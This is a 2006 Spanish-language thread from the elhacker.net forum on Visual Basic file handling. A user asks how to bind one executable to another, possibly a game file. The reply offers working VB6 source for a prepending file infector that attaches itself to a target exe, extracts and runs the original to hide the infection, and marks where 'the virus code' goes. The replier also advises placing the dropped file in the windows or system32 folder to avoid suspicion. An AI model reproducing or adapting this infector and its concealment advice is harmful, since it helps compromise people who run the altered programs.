Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Lambda en 18 Abril 2006, 19:17 pm



Título: Trabajar cn archivos
Publicado por: Lambda en 18 Abril 2006, 19:17 pm
toy haciendo un programa k lo k hace es juntar un arxivo en otro y luego k lo separe, el juntarmelo perfecto pero el sacarmelo ya m da errores lo ejecuto, se me abre una ventana d ms dos y se me cierra, y okupa lo mismo k el Gunz.exe

JUNTAR
Código:
Private Sub Command1_Click()
Box1.loadfile "proyecto1.exe" ' todas las box son RichTextBox
box2.loadfile "Gunz.exe"
datos = box1.text & "---SEP---" & box2.text
End Sub

Open "resultado1.exe" for binary as #1
put #1, , datos
close #1
SEPARAR (es otro programa aparte)
Código:
Private Sub Command1_Click()
Box1.LoadFile "resultado1.exe""
datos = Split(Box1.Text, "---SEP---")
Open "resultado2.exe"" For Binary As #1
Put #1, , datos
Close #1
End Sub

Si uso el Open para leer el arhivo no me ace na, me crea el archivo pero na, sin ambargo si uso el Rich me lo cra y lo ejecuta sin problemas ( Todo eso en el JUNTAR)

salu2



Título: Re: Trabajar cn archivos
Publicado por: NYlOn en 18 Abril 2006, 22:28 pm
Debes estar usando mal el Open. Aca te dejo un code de algo muy parecido a lo que queres hacer vos (demasiado parecido diria yo :P). Espero que te sirva.
Código:
Private Sub Form_Load()
   
    Dim Datos As String
    Dim Original As String
    Dim Yo As String
    Dim Buff() As String
   
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Abrimos el mismo programa
        Yo = Input(LOF(1), 1) 'y ponemos el codigo en la variable 'Yo'
    Close #1
   
    Buff = Split(Yo, "----SEP----") 'Dividimos esa variable (espero que sepas como funciona el Split)
    If UBound(Buff) > 0 Then 'Si se pudo dividir en mas de 1 pedazo (la variable Yo)
       
        Open "C:\Resultado.exe" For Binary As #2 'abrimos un exe nuevo para introducir los datos
            Put #2, , Buff(1) 'ponemos todo lo que hay DEBAJO del separador
        Close #2
       
        DoEvents
       
        Shell "C:\Resultado.exe" 'abrimos el programa (que es el programa normal, NO el worm...)
       
       
        MsgBox "Aca podemos poner el codigo del virus, o ponerlo al finall"
        Unload Me 'nos cerramos(optativo xD)
       
    Else 'si NO se pudo dividir, entonces es que no existe el separador. Lo creamos...
   
        Open "C:\nylon.exe" For Binary As #3 'Abrimos el programa a infectar
            Original = Input(LOF(3), 3) 'Guardamos el contenido en la variable 'Original'
           
            Datos = Yo & "----SEP----" & Original 'Esto es lo que vamos a introducir en el archivo a infectar (YO = Nuestro virus, SEP = Separador, Original = archivo verdadero (el que estamos infectando)
           
            Put #3, , Datos 'metemos los datos que grabamos antes
           
        Close #3
    End If

End Sub

'Al final de todo el proceso, el programa quedaria asi:
'
'--------------------------
'Nuestro programa
'---SEPARADOR---
'Programa original
'--------------------------
'
'
'Entonces, cuando abrimos el programa infectado, se abre NUESTRO programa,
'este busca lo que hay debajo del separador y lo mete en un nuevo archivo,
'despues abrimos ese archivo y salimos.
'
'
' Un abrazo y suerte
'
'
'
'   .NYlOn.
'
'¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ END ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬


NOTA: La idea es que el archivo 'Resultado.exe' sea guardado en la carpeta de windows o system32, ya que sino resultaria muy sospechoso.

Saludos.-